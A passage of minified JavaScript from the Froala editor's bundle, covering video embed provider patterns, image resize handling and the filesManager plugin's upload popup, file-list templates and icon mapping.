"file",filesManagerUploadParams:{},googleOptions:{},filesManagerUploadToS3:!1,filesManagerUploadToAzure:!1,filesManagerUploadMethod:"POST",filesManagerMaxSize:10485760,filesManagerAllowedTypes:["*"],imageResize:!0,imageResizeWithPercent:!1,imageRoundPercent:!1,imageDefaultWidth:300,imageDefaultAlign:"center",imageDefaultDisplay:"block",imageSplitHTML:!1,imageStyles:{"fr-rounded":"Rounded","fr-bordered":"Bordered","fr-shadow":"Shadow"},imageMove:!0,imageMultipleStyles:!0,imageTextNear:!0,imagePaste:!0,imagePasteProcess:!1,imageMinWidth:16,imageOutputSize:!1,imageDefaultMargin:5,imageAddNewLine:!1}),kt.VIDEO_PROVIDERS=[{test_regex:/^.*((youtu.be)|(youtube.com))\/((v\/)|(\/u\/\w\/)|(embed\/)|(watch\?))?\??v?=?([^#\&\?]*).*/,url_regex:/(?:https?:\/\/)?(?:www\.)?(?:m\.)?(?:youtube\.com|youtu\.be)\/(?:watch\?v=|embed\/)?([0-9a-zA-Z_\-]+)(.+)?/g,url_text:"https://www.youtube.com/embed/$1?$2",html:'<iframe width="640" height="360" src="{url}&wmode=opaque" frameborder="0" allowfullscreen></iframe>',provider:"youtube"},{test_regex:/^.*(?:vimeo.com)\/(?:channels(\/\w+\/)?|groups\/*\/videos\/\u200b\d+\/|video\/|)(\d+)(?:$|\/|\?)/,url_regex:/(?:https?:\/\/)?(?:www\.|player\.)?vimeo.com\/(?:channels\/(?:\w+\/)?|groups\/(?:[^\/]*)\/videos\/|album\/(?:\d+)\/video\/|video\/|)(\d+)(?:[a-zA-Z0-9_\-]+)?(\/[a-zA-Z0-9_\-]+)?/i,url_text:"https://player.vimeo.com/video/$1",html:'<iframe width="640" height="360" src="{url}" frameborder="0" allowfullscreen></iframe>',provider:"vimeo"},{test_regex:/^.+(dailymotion.com|dai.ly)\/(video|hub)?\/?([^_]+)[^#]*(#video=([^_&]+))?/,url_regex:/(?:https?:\/\/)?(?:www\.)?(?:dailymotion\.com|dai\.ly)\/(?:video|hub)?\/?(.+)/g,url_text:"https://www.dailymotion.com/embed/video/$1",html:'<iframe width="640" height="360" src="{url}" frameborder="0" allowfullscreen></iframe>',provider:"dailymotion"},{test_regex:/^.+(screen.yahoo.com)\/[^_&]+/,url_regex:"",url_text:"",html:'<iframe width="640" height="360" src="{url}?format=embed" frameborder="0" allowfullscreen="true" mozallowfullscreen="true" webkitallowfullscreen="true" allowtransparency="true"></iframe>',provider:"yahoo"},{test_regex:/^.+(rutube.ru)\/[^_&]+/,url_regex:/(?:https?:\/\/)?(?:www\.)?(?:rutube\.ru)\/(?:video)?\/?(.+)/g,url_text:"https://rutube.ru/play/embed/$1",html:'<iframe width="640" height="360" src="{url}" frameborder="0" allowfullscreen="true" mozallowfullscreen="true" webkitallowfullscreen="true" allowtransparency="true"></iframe>',provider:"rutube"},{test_regex:/^(?:.+)vidyard.com\/(?:watch)?\/?([^.&/]+)\/?(?:[^_.&]+)?/,url_regex:/^(?:.+)vidyard.com\/(?:watch)?\/?([^.&/]+)\/?(?:[^_.&]+)?/g,url_text:"https://play.vidyard.com/$1",html:'<iframe width="640" height="360" src="{url}" frameborder="0" allowfullscreen></iframe>',provider:"vidyard"}],kt.VIDEO_EMBED_REGEX=/^\W*((<iframe(.|\n)*>(\s|\n)*<\/iframe>)|(<embed(.|\n)*>))\W*$/i,kt.IMAGE_EMBED_REGEX=/^\W*((<img(.|\n)*>(\s|\n)*))\W*$/i,kt.IMAGE_TYPE="image/png",kt.IMAGE_ALLOW_REGEX=/\.(gif|jpe?g|tiff?|png|webp|bmp)$/i,kt.PLUGINS.filesManager=function(k){var y,i,x,l,c,d,s,f,R=k.$,L="https://i.froala.com/upload",p=!1,t=!1,N=new Map,M=new Map,T=new Map,w=new Map,O=new Map,A=new Map,o=0,a=[],u=-1,I=[],h=0,g=["file","image","imageTUI","video"],D=1,m=2,_=3,S=4,B=5,F=6,P=10,$=["video/avi","video/mpeg","video/x-ms-wmv"],v={};function b(){var e=k.popups.get("filesManager.insert"),t=e.find(".fr-files-by-url-layer input");t.val(""),e.find(".fr-files-embed-layer textarea").val("").trigger("change"),t.trigger("change")}function C(e){var t;k.hasOwnProperty("imageTUI")||(s="fr-disabled"),A.forEach(function(e,t){q(t)}),E()?(t=k.popups.get("filesManager.insert"))||(t=He()):(t=k.popups.get("filesManager.insert"))||(t=function i(){var e="<div style= 'padding:10px'>\n <div class = 'fr-message'><h3 style ='font-size: 16px; margin: 10px 10px;font-weight: normal;'>".concat(k.language.translate(function r(){var e="",t=function n(){var t=[];return g.forEach(function(e){k.opts.pluginsEnabled.indexOf(e)<0&&t.push(e.charAt(0).toUpperCase()+e.slice(1))}),t}();e=t.join(", "),1<t.length?e+=" plugin are":e+=" plugin is";return e}()+" not enabled. Do you want to enable?"),"</h3></div>\n <div style='text-align:right;'>\n <button class='fr-trim-button fr-plugins-enable'>").concat(k.language.translate("Enable"),"</button> \n <button class='fr-trim-button fr-plugins-cancel'>").concat(k.language.translate("Cancel"),"</button>\n </div>"),t={buttons:'<div class="fr-buttons fr-tabs"></div>',upload_layer:e,by_url_layer:"",embed_layer:"",upload_progress_layer:"",progress_bar:""},n=k.popups.create("filesManager.insert",t);return Oe(n),n}());var n=k.$tb.find('.fr-command[data-cmd="insertFiles"]');if(J(),e||!t.hasClass("fr-active"))if(e||X(),k.popups.refresh("filesManager.insert"),k.popups.setContainer("filesManager.insert",k.$tb),n.isVisible()){var r=k.button.getPosition(n,N.size),a=r.left,o=r.top;k.popups.show("filesManager.insert",a,o,n.outerHeight())}else k.position.forSelection(t),k.popups.show("filesManager.insert");k.popups.setPopupDimensions(t),E()&&k.popups.setFileListHeight(t),t.find(".fr-upload-progress")&&0==N.size&&t.find(".fr-upload-progress").addClass("fr-none")}function E(){var t=!0;return g.forEach(function(e){k.opts.pluginsEnabled.indexOf(e)<0&&(t=!1)}),t}function H(){J()}function U(){if(l||function i(){var e;k.shared.$image_resizer?(l=k.shared.$image_resizer,d=k.shared.$img_overlay,k.events.on("destroy",function(){R("body").first().append(l.removeClass("fr-active"))},!0)):(k.shared.$image_resizer=R(document.createElement("div")).attr("class","fr-image-resizer"),l=k.shared.$image_resizer,k.events.$on(l,"mousedown",function(e){e.stopPropagation()},!0),k.opts.imageResize&&(l.append(z("nw")+z("ne")+z("sw")+z("se")),k.shared.$img_overlay=R(document.createElement("div")).attr("class","fr-image-overlay"),d=k.shared.$img_overlay,e=l.get(0).ownerDocument,R(e).find("body").first().append(d)));k.events.on("shared.destroy",function(){l.html("").removeData().remove(),l=null,k.opts.imageResize&&(d.remove(),d=null)},!0),k.helpers.isMobile()||k.events.$on(R(k.o_win),"resize",function(){y&&!y.hasClass("fr-uploading")?nt(!0):y&&(U(),replace(),Q(!1))});if(k.opts.imageResize){e=l.get(0).ownerDocument,k.events.$on(l,k._mousedown,".fr-handler",V),k.events.$on(R(e),k._mousemove,W),k.events.$on(R(e.defaultView||e.parentWindow),k._mouseup,G),k.events.$on(d,"mouseleave",G);var r=1,a=null,o=0;k.events.on("keydown",function(e){if(y){var t=-1!=navigator.userAgent.indexOf("Mac OS X")?e.metaKey:e.ctrlKey,n=e.which;(n!==a||200<e.timeStamp-o)&&(r=1),(n==kt.KEYCODE.EQUALS||k.browser.mozilla&&n==kt.KEYCODE.FF_EQUALS)&&t&&!e.altKey?r=je.call(this,e,1,1,r):(n==kt.KEYCODE.HYPHEN||k.browser.mozilla&&n==kt.KEYCODE.FF_HYPHEN)&&t&&!e.altKey?r=je.call(this,e,2,-1,r):k.keys.ctrlKey(e)||n!=kt.KEYCODE.ENTER||(y.before("<br>"),Te(y)),a=n,o=e.timeStamp}},!0),k.events.on("keyup",function(){r=1})}}(),!y)return!1;var e=k.$wp||k.$sc;e.append(l),l.data("instance",k);var t=e.scrollTop()-("static"!=e.css("position")?e.offset().top:0),n=e.scrollLeft()-("static"!=e.css("position")?e.offset().left:0);n-=k.helpers.getPX(e.css("border-left-width")),t-=k.helpers.getPX(e.css("border-top-width")),k.$el.is("img")&&k.$sc.is("body")&&(n=t=0);var r=lt();ct()&&(r=r.find(".fr-img-wrap"));var a=0,o=0;k.opts.iframe&&(a=k.helpers.getPX(k.$wp.find(".fr-iframe").css("padding-top")),o=k.helpers.getPX(k.$wp.find(".fr-iframe").css("padding-left"))),l.css("top",(k.opts.iframe?r.offset().top+a:r.offset().top+t)-1).css("left",(k.opts.iframe?r.offset().left+o:r.offset().left+n)-1).css("width",r.get(0).getBoundingClientRect().width).css("height",r.get(0).getBoundingClientRect().height).addClass("fr-active")}function z(e){return'<div class="fr-handler fr-h'.concat(e,'"></div>')}function K(e){ct()?y.parents(".fr-img-caption").css("width",e):y.css("width",e)}function V(e){if(!k.core.sameInstance(l))return!0;if(e.preventDefault(),e.stopPropagation(),k.$el.find("img.fr-error").left)return!1;k.undo.canDo()||k.undo.saveStep();var t=e.pageX||e.originalEvent.touches[0].pageX;if("mousedown"==e.type){var n=k.$oel.get(0).ownerDocument,r=n.defaultView||n.parentWindow,a=!1;try{a=r.location!=r.parent.location&&!(r.$&&r.$.FE)}catch(s){}a&&r.frameElement&&(t+=k.helpers.getPX(R(r.frameElement).offset().left)+r.frameElement.clientLeft)}(c=R(this)).data("start-x",t),c.data("start-width",y.width()),c.data("start-height",y.height());var o=y.width();if(k.opts.imageResizeWithPercent){var i=y.parentsUntil(k.$el,k.html.blockTagsQuery()).get(0)||k.el;o=(o/R(i).outerWidth()*100).toFixed(2)+"%"}K(o),d.show(),k.popups.hideAll(),ot()}function W(e){if(!k.core.sameInstance(l))return!0;var t;if(c&&y){if(e.preventDefault(),k.$el.find("img.fr-error").left)return!1;var n=e.pageX||(e.originalEvent.touches?e.originalEvent.touches[0].pageX:null);if(!n)return!1;var r=n-c.data("start-x"),a=c.data("start-width");if((c.hasClass("fr-hnw")||c.hasClass("fr-hsw"))&&(r=0-r),k.opts.imageResizeWithPercent){var o=y.parentsUntil(k.$el,k.html.blockTagsQuery()).get(0)||k.el;a=((a+r)/R(o).outerWidth()*100).toFixed(2),k.opts.imageRoundPercent&&(a=Math.round(a)),K("".concat(a,"%")),(t=ct()?(k.helpers.getPX(y.parents(".fr-img-caption").css("width"))/R(o).outerWidth()*100).toFixed(2):(k.helpers.getPX(y.css("width"))/R(o).outerWidth()*100).toFixed(2))===a||k.opts.imageRoundPercent||K("".concat(t,"%")),y.css("height","").removeAttr("height")}else a+r>=k.opts.imageMinWidth&&(K(a+r),t=ct()?k.helpers.getPX(y.parents(".fr-img-caption").css("width")):k.helpers.getPX(y.css("width"))),t!==a+r&&K(t),((y.attr("style")||"").match(/(^height:)|(; *height:)/)||y.attr("height"))&&(y.css("height",c.data("start-height")*y.width()/c.data("start-width")),y.removeAttr("height"));U(),k.events.trigger("image.resize",[st()])}}function G(e){if(!k.core.sameInstance(l))return!0;if(c&&y){if(e&&e.stopPropagation(),k.$el.find("img.fr-error").left)return!1;c=null,d.hide(),U(),k.undo.saveStep(),k.events.trigger("image.resizeEnd",[st()])}else l.removeClass("fr-active")}function Y(){A.forEach(function(e,t){var n=k.popups.get("filesManager.insert");n.find(".fr-checkbox-file-"+t).get(0).disabled=!0,document.getElementById("fr-file-autoplay-button-"+t)&&(document.getElementById("fr-file-autoplay-button-"+t).disabled=!0,document.getElementById("fr-file-autoplay-button-"+t).parentElement.classList.add("fr-checkbox-disabled"),document.getElementById("fr-file-autoplay-button-"+t).parentElement.classList.remove("fr-files-checkbox")),n.find(".fr-checkbox-"+t).get(0).classList.remove("fr-files-checkbox"),n.find(".fr-checkbox-"+t).get(0).classList.add("fr-checkbox-disabled")})}function j(e,t,n,r){k.edit.on(),y&&y.addClass("fr-error"),v[e]?(e!=_&&e!=m&&e!=S||Ee(100,r,!0),A.set(r,v[e]),Y(),function a(){A.forEach(function(e,t){k.popups.get("filesManager.insert"),document.getElementById("fr-file-edit-button-".concat(t))&&(document.getElementById("fr-file-edit-button-".concat(t)).classList.add("fr-disabled"),document.getElementById("fr-file-view-button-".concat(t)).classList.add("fr-disabled"),document.getElementById("fr-file-insert-button-".concat(t)).classList.add("fr-disabled"))})}(),ne(k.language.translate(v[e]),r)):ne(k.language.translate("Something went wrong. Please try again."),r),!y&&n&&Ze(n),k.events.trigger("filesManager.error",[{code:e,message:v[e]},t,n])}function Z(){var e=k.popups.get("filesManager.insert"),t=e.find('.fr-command[data-cmd="insertAll"]'),n=e.find('.fr-command[data-cmd="deleteAll"]'),r=!0;O.forEach(function a(e,t,n){O.get(t)&&(r=!1)}),r?t.addClass("fr-disabled"):t.removeClass("fr-disabled"),r?n.addClass("fr-disabled"):n.removeClass("fr-disabled")}function q(e){M.get(e)&&M.get(e).link&&k.events.trigger("filesManager.removed",[M.get(e).link]);var t=k.popups.get("filesManager.insert");t.find(".fr-file-"+e).get(0)!==undefined&&(t.find(".fr-file-"+e).get(0).outerHTML=""),M["delete"](e),N["delete"](e),O["delete"](e),Z(),0==N.size&&(h=0),A["delete"](e),k.popups.setPopupDimensions(t,!0),k.opts.toolbarBottom?C(!0):k.popups.setPopupDimensions(t),t.find(".fr-upload-progress")&&0==N.size&&t.find(".fr-upload-progress").addClass("fr-none")}function X(){for(var e=k.popups.get("filesManager.insert"),t=e.find(".fr-insert-checkbox"),n=0;n<t.length;n++)t.get(n).children.target.checked=!1,e.find(".fr-file-"+t.get(n).id.split("-").pop()).get(0).classList.add("fr-unchecked");if(x)document.getElementById("fr-file-autoplay-button-".concat(x))&&(document.getElementById("fr-file-autoplay-button-".concat(x)).checked=!1),I=I.filter(function(e){return e!=x});else{for(var r=e.find(".fr-file-autoplay-button"),a=0;a<r.length;a++)r.get(a).checked=!1;I=[]}O=new Map,Z()}function Q(e){var t=k.popups.get("filesManager.insert");if(t||(t=He()),t.find(".fr-layer.fr-active").removeClass("fr-active").addClass("fr-pactive"),t.find(".fr-files-progress-bar-layer").addClass("fr-active"),t.find(".fr-buttons").hide(),y){var n=lt();k.popups.setContainer("filesManager.insert",k.$sc);var r=n.offset().left,a=n.offset().top+n.height();k.popups.show("filesManager.insert",r,a,n.outerHeight())}void 0===e&&ee(k.language.translate("Uploading"),0)}function J(e){var t=k.popups.get("filesManager.insert");if(t&&(t.find(".fr-layer.fr-pactive").addClass("fr-active").removeClass("fr-pactive"),t.find(".fr-files-progress-bar-layer").removeClass("fr-active"),t.find(".fr-buttons").show(),e||k.$el.find("img.fr-error").length)){if(k.events.focus(),k.$el.find("img.fr-error").length&&(k.$el.find("img.fr-error").remove(),k.undo.saveStep(),k.undo.run(),k.undo.dropRedo()),!k.$wp&&y){var n=y;nt(!0),k.selection.setAfter(n.get(0)),k.selection.restore()}k.popups.hide("filesManager.insert")}}function ee(e,t){var n=k.popups.get("filesManager.insert");if(n){var r=n.find(".fr-files-progress-bar-layer");r.find("h3").text(e+(t?" ".concat(t,"%"):"")),r.removeClass("fr-error"),t?(r.find("div").removeClass("fr-indeterminate"),r.find("div > span").css("width","".concat(t,"%"))):r.find("div").addClass("fr-indeterminate")}}function te(e){Q();var t=k.popups.get("filesManager.insert").find(".fr-files-progress-bar-layer");t.addClass("fr-error");var n=t.find("h3");n.text(e),k.events.disableBlur(),n.focus()}function ne(e,t){var n=k.popups.get("filesManager.insert"),r=n.find(".fr-upload-progress-layer"),a=n.find(".fr-file-".concat(t));r.addClass("fr-error"),a.find("h5").text(e)}v[D]="File cannot be loaded from the passed link.",v[m]="No link in upload response.",v[_]="Error during file upload.",v[S]="Parsing response failed.",v[B]="File is too large.",v[F]="File type is invalid.",v[7]="Files can be uploaded only to same domain in IE 8 and IE 9.",v[8]="File is corrupted.",v[9]="Error during file loading.",v[P]="File upload cancelled";var n,re,ae,oe,ie,se,r,le,ce,de,fe="";function pe(e){fe=e,n=document.getElementsByClassName(e),Array.prototype.map.call(n,function(e){!function r(e){if(e.addEventListener("dragover",function(e){e.preventDefault(),e.stopPropagation(),re=e.pageX,ae=e.pageY;var t=document.getElementById("filesList");ae+20>t.getBoundingClientRect().bottom&&ue(t,0,10),ae-20<t.getBoundingClientRect().top&&ue(t,0,-10)},!1),k.helpers.isMobile()){var t=e.getElementsByClassName("dot");t[0].addEventListener("touchmove",function(e){e.preventDefault(),e.stopPropagation();for(var t=e.target;t&&!t.classList.contains(fe);)t=t.parentElement;for(var n=document.elementFromPoint(e.targetTouches[0].clientX,e.targetTouches[0].clientY);n&&!n.classList.contains(fe);)n=n.parentElement;var r=document.getElementsByClassName("fr-hovered-over-file");Array.prototype.forEach.call(r,function(e){e.classList.remove("fr-hovered-over-file")}),n&&!t.classList.contains("fr-unchecked")&&n.classList.add("fr-hovered-over-file");var a=document.getElementById("filesList");e.targetTouches[0].clientY+5>a.getBoundingClientRect().bottom&&ue(a,0,5),e.targetTouches[0].clientY-5<a.getBoundingClientRect().top&&ue(a,0,-5)},!1)}if(e.ondrag=he,e.ondragend=ge,k.helpers.isMobile()){var n=e.getElementsByClassName("dot");n[0].addEventListener("touchmove",he,!1),n[0].addEventListener("touchend",ge,!1)}}(e)})}function ue(e,t,n){e.scrollLeft+=t,e.scrollTop+=n}function he(e){for(k.helpers.isMobile()&&(ie=event.touches[0].clientX,se=event.touches[0].clientY),oe=e.target;!oe.classList.contains(fe);)oe=oe.parentElement;oe.classList.contains(fe)&&!oe.classList.contains("fr-unchecked")?k.helpers.isMobile()&&oe.classList.add("drag-sort-active"):oe=undefined}function ge(e){var t;if(oe!==undefined){var n,r;if(k.helpers.isMobile())for(n=ie,r=se,t=event.target;!t.classList.contains(fe);)t=t.parentElement;else n=event.clientX,r=event.clientY;k.helpers.isMobile()||!k.browser.safari&&!k.browser.mozilla||(n=re,r=ae);for(var a=document.elementFromPoint(n,r);a&&!a.classList.contains(fe);)a=a.parentElement;a&&!a.classList.contains(fe)?a=undefined:a&&oe!==a&&function s(e,t){var n,r,a=e.parentNode,o=t.parentNode;if(!a||!o||a.isEqualNode(t)||o.isEqualNode(e))return;for(var i=0;i<a.children.length;i++)a.children[i].isEqualNode(e)&&(n=i);for(var i=0;i<o.children.length;i++)o.children[i].isEqualNode(t)&&(r=i);a.isEqualNode(o)&&n<r&&r++;a.insertBefore(t,a.children[n]),o.insertBefore(e,o.children[r])}(oe,a),k.helpers.isMobile()&&(t.classList.remove("fr-hovered-over-file"),a.classList.remove("fr-hovered-over-file"))}}function me(e){var r=k.popups.get("filesManager.insert");r.find(".fr-upload-progress-layer").hasClass("fr-active")||r.find(".fr-upload-progress-layer").addClass("fr-active"),r.find(".fr-upload-progress").removeClass("fr-none");var t=N.get(e),n=function i(e){var t,n={weekday:"long",year:"numeric",month:"long",day:"numeric"};try{t=e.toLocaleDateString(k.opts.language?k.opts.language:undefined,n)}catch(r){t=e.toLocaleDateString(undefined,n)}return t+""}(new Date),a=O.get(e)?"":"fr-unchecked ",o="\n <div id='fr-file-".concat(e,"' class='fr-file-list-item fr-file-").concat(e," ").concat(a,"' draggable = \"").concat(!a,'" >\n <div class=\'fr-file-item-left\' >\n\n \n <div class="fr-file-item-insert-checkbox fr-files-checkbox-line">\n ').concat(k.helpers.isMobile()?"<div id='fr-pick-".concat(e,"}' class='dot'>\n </div>"):"",'\n <div id="checkbox-key-').concat(e,'" class="fr-files-checkbox fr-insert-checkbox fr-checkbox-').concat(e,'">\n <input name="target" class="fr-insert-attr fr-checkbox-file-').concat(e,' fr-file-insert-check" data-cmd="fileInsertCheckbox"\n data-checked="_blank" type="checkbox" id="fr-link-target-').concat(k.id,'" tabIndex="0" />\n <span>').concat('<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="10" height="10" viewBox="0 0 32 32"><path d="M27 4l-15 15-7-7-5 5 12 12 20-20z" fill="#FFF"></path></svg>','\n </span>\n </div>\n <label id="fr-label-target-').concat(k.id,"\"></label>\n </div>\n \n <div class='fr-file-item-icon fr-file-item-icon-").concat(e,"' >\n <img src='https://secure.webtoolhub.com/static/resources/icons/set112/f2afb6f7.png' alt='Image preview' class='fr-thumbnail-padding' height='36px' width='36px' />\n </div>\n\n <div class='fr-file-item-description' >\n <div class='fr-file-name fr-files-manager-tooltip'>\n ").concat(function s(e,t,n){null==t&&(t=100);null==n&&(n="...");return e.length>t?e.substring(0,t-n.length)+n:e}(t.name,20),'\n <span class="').concat(20<t.name.length?"tooltiptext":"fr-none",'">').concat(t.name,"\n </span>\n </div>\n <div class='fr-file-details'>\n <div class='fr-file-date'>").concat(n,"\n </div>\n \n <div class='fr-file-size'>\n ").concat(function l(e){if(0==e)return"0 Bytes";var t=Math.floor(Math.log(e)/Math.log(1024));return" | "+1*(e/Math.pow(1024,t)).toFixed(2)+" "+["Bytes","KB","MB","GB","TB"][t]}(t.size),"\n </div>\n </div>\n\n <div class='fr-file-error'>\n <h5 class='fr-file-error-h5'></h5>\n </div>\n </div>\n \n </div>\n\n <div class='fr-file-item-right fr-file-item-right-").concat(e,"'>")+Ce(e)+"</div>\n </div>";r.find(".fr-upload-progress-layer")[0].innerHTML=o+r.find(".fr-upload-progress-layer")[0].innerHTML,N.forEach(function c(e,t,n){O.get(t)&&r.find("input.fr-insert-attr.fr-checkbox-file-".concat(t))[0].setAttribute("checked",null)}),I.forEach(function(e){document.getElementById("fr-file-autoplay-button-"+e).checked=!0}),be(e,t),J(),k.opts.toolbarBottom?C(!0):k.popups.setPopupDimensions(r),pe("fr-file-list-item")}function ve(e){switch(e){case"application/msword":return k.icon.getFileIcon("docIcon");case"application/vnd.openxmlformats-officedocument.wordprocessingml.document":return k.icon.getFileIcon("docxIcon");case"image/gif":return k.icon.getFileIcon("gifIcon");case"image/jpeg":return k.icon.getFileIcon("jpegIcon");case"image/jpeg":return k.icon.getFileIcon("jpgIcon");case"type/text":return k.icon.getFileIcon("logIcon");case"video/quicktime":return k.icon.getFileIcon("movIcon");case"audio/mp3":case"audio/mpeg":return k.icon.getFileIcon("mp3Icon");case"video/mp4":return k.icon.getFileIcon("mp4Icon");case"audio/ogg":return k.icon.getFileIcon("oggIcon");case"video/ogg":return k.icon.getFileIcon("ogvIcon");case"application/pdf":return k.icon.getFileIcon("pdfIcon");case"image/png":return k.icon.getFileIcon("pngIcon");case"text/plain":return k.icon.getFileIcon("txtIcon");case"video/webm":return k.icon.getFileIcon("webmIcon");case"image/webp":return k.icon.getFileIcon("webpIcon");case"video/x-ms-wmv":return k.icon.getFileIcon("wmvIcon");case"application/vnd.ms-excel":return k.icon.getFileIcon("xlsIcon");case"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet":return k.icon.getFileIcon("xlsxIcon");case"application/x-zip-compressed":case"application/zip":return k.icon.getFileIcon("zipIcon");default:return k.icon.getFileIcon("defaultIcon")}}function be(r,a,e){var o=k.popups.get("filesManager.insert"),t=o.find(".fr-file-item-icon-"+r).get(0);if(De(ke(a))&&"image/gif"!=ke(a)&&"image/webp"!=ke(a)){"a"!=t.children[0].localName&&(t.innerHTML="<a target='_blank' href=''>"+t.innerHTML+"</a>");o.find(".fr-file-item-icon-"+r).get(0).children[0].children[0];var i=new FileReader;if(null!=e&&e){var n=N.get(r);a.name=n.name,N.set(r,a)}if(i.onloadend=function(){o.find(".fr-file-item-icon-"+r).get(0).children[0].children[0].src=i.result;for(var e=atob(i.result.split(",")[1]),t=[],n=0;n<e.length;n++)t.push(e.charCodeAt(n));o.find(".fr-file-item-icon-"+r).get(0).children[0].href=window.URL.createObjectURL(new Blob([new Uint8Array(t)],{type:ke(a)})),o.find(".fr-file-item-icon-"+r).get(0).classList.add("fr-file-item-thumbnail-hover")},a)i.readAsDataURL(a);else{var s=ve(ke(a));t.innerHTML='<svg height="40px" width="40px" viewBox="0 0 55 5" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">\n '.concat(s.path,"\n </svg>")}}else{var l=ve(ke(a));t.innerHTML='<svg height="40px" width="40px" viewBox="0 0 55 55" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">\n '.concat(l.path,"\n </svg>")}}function Ce(e){var t="";if(Fe(ke(N.get(e)))){var n="fr-files-checkbox",r="";$e(ke(N.get(e)))||(n="fr-checkbox-disabled",r="disabled");t='\n <div class="fr-files-checkbox-line align-autoplay">\n <div id="checkbox-key-'.concat(e,'" class="').concat(n," fr-autoplay-checkbox fr-checkbox-").concat(e,'"> \n \n <input type="checkbox" id="fr-file-autoplay-button-').concat(e,'" class="fr-file-button-').concat(e,' fr-file-autoplay-button" data-title="Edit" data-param1="').concat(e,'" role="button" ').concat(r,"/>\n\n <span>").concat('<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="10" height="10" viewBox="0 0 32 32"><path d="M27 4l-15 15-7-7-5 5 12 12 20-20z" fill="#FFF"></path></svg>'," </span>\n </div> \n <label class='fr-autoplay-checkbox-label'>Autoplay </label>\n </div>")}var a="application/msword",o="application/vnd.openxmlformats-officedocument.wordprocessingml.document",i="";return!Pe(ke(N.get(e)))&&$e(ke(N.get(e)))||(s="fr-disabled"),Fe(ke(N.get(e)))&&(s="fr-disabled"),Be(ke(N.get(e)))&&(s="fr-disabled",ke(N.get(e))!=a&&ke(N.get(e))!=o||k.opts.googleOptions&&!k.helpers.isMobile()&&k.opts.googleOptions.API_KEY&&k.opts.googleOptions.CLIENT_ID&&(s=""),"text/plain"!=ke(N.get(e))&&ke(N.get(e))!=a&&"application/pdf"!=ke(N.get(e))&&ke(N.get(e))!=o&&"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"!=ke(N.get(e))&&"application/vnd.ms-excel"!=ke(N.get(e))&&"type/text"!=ke(N.get(e))||(i="")),"video/url"===ke(N.get(e))&&(s="fr-disabled"),t+='<div class=\'fr-file-item-action-buttons\' >\n <button type="button" id="fr-file-insert-button-'.concat(e,'" class=" fr-doc-edit-').concat(e," fr-img-icon fr-btn fr-command fr-submit fr-file-action-icons \n fr-file-button-").concat(e," fr-file-insert-button-").concat(e,' fr-file-insert-button" data-cmd="imageInsertByUpload" data-title="Insert" data-param1="').concat(e,'" tabIndex="2" role="button">\n <svg style=\'margin:0px !important; opacity:0.9\' class = "fr-svg" focusable="false" width="16px" height="16px" viewBox = "-5 0 28 28" xlmns = "http://w3.org/200/svg"><path d = \'M 9.25 12 L 6.75 12 C 6.335938 12 6 11.664062 6 11.25 L 6 6 L 3.257812 6 C 2.703125 6 2.425781 5.328125 2.820312 4.933594 L 7.570312 0.179688 C 7.804688 -0.0546875 8.191406 -0.0546875 8.425781 0.179688 L 13.179688 4.933594 C 13.574219 5.328125 13.296875 6 12.742188 6 L 10 6 L 10 11.25 C 10 11.664062 9.664062 12 9.25 12 Z M 16 11.75 L 16 15.25 C 16 15.664062 15.664062 16 15.25 16 L 0.75 16 C 0.335938 16 0 15.664062 0 15.25 L 0 11.75 C 0 11.335938 0.335938 11 0.75 11 L 5 11 L 5 11.25 C 5 12.214844 5.785156 13 6.75 13 L 9.25 13 C 10.214844 13 11 12.214844 11 11.25 L 11 11 L 15.25 11 C 15.664062 11 16 11.335938 16 11.75 Z M 12.125 14.5 C 12.125 14.15625 11.84375 13.875 11.5 13.875 C 11.15625 13.875 10.875 14.15625 10.875 14.5 C 10.875 14.84375 11.15625 15.125 11.5 15.125 C 11.84375 15.125 12.125 14.84375 12.125 14.5 Z M 14.125 14.5 C 14.125 14.15625 13.84375 13.875 13.5 13.875 C 13.15625 13.875 12.875 14.15625 12.875 14.5 C 12.875 14.84375 13.15625 15.125 13.5 15.125 C 13.84375 15.125 14.125 14.84375 14.125 14.5 Z M 14.125 14.5 \'></path></svg>\n </button>\n\n <button type="button" id="fr-file-edit-button-').concat(e,'" class=" fr-doc-edit-').concat(e," ").concat(s," fr-img-icon fr-btn fr-command fr-submit \n fr-file-action-icons fr-file-edit-button-").concat(e," fr-file-button-").concat(e,' fr-file-edit-button" data-cmd="editImage" data-title="Edit" data-param1="').concat(e,'" role="button">\n <svg style=\'margin:0px !important; opacity:0.9\' class = "fr-svg" focusable="false" width="16px" height="16px" viewBox = "0 4 25 25" xlmns = "http://w3.org/200/svg"><path d = \'M17,11.2L12.8,7L5,14.8V19h4.2L17,11.2z M7,16.8v-1.5l5.6-5.6l1.4,1.5l-5.6,5.6H7z M13.5,6.3l0.7-0.7c0.8-0.8,2.1-0.8,2.8,0 c0,0,0,0,0,0L18.4,7c0.8,0.8,0.8,2,0,2.8l-0.7,0.7L13.5,6.3z\'></path></svg>\n </button>\n \n <span class="fr-file-view-').concat(e,'"><button type="button" id="fr-file-view-button-').concat(e,'" class=" fr-doc-edit-').concat(e," ").concat(i," fr-img-icon fr-btn fr-command fr-submit fr-file-action-icons \n fr-file-view-button-").concat(e,' fr-file-view-button" data-cmd="viewImage" data-title="View" data-param1="').concat(e,'" tabIndex="2" role="button">\n <svg style=\'margin:0px !important; opacity:0.9\' class = "fr-svg" focusable="false" width="16px" height="16px" viewBox = "15 19 21 21" xlmns = "http://w3.org/200/svg"> <path style="fill:none;stroke-width:0.9077;stroke-linecap:round;stroke-linejoin:round;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 19.086094 16.541466 C 16.185625 16.541466 14.318281 19.447115 14.318281 19.447115 L 14.318281 19.555288 C 14.318281 19.555288 16.176719 22.475962 19.077187 22.475962 C 21.977656 22.475962 23.847969 19.576322 23.847969 19.576322 L 23.847969 19.465144 C 23.847969 19.465144 21.989531 16.541466 19.086094 16.541466 Z M 19.07125 21.024639 C 18.248906 21.024639 17.583906 20.357572 17.583906 19.53726 C 17.583906 18.716947 18.248906 18.04988 19.07125 18.04988 C 19.890625 18.04988 20.555625 18.716947 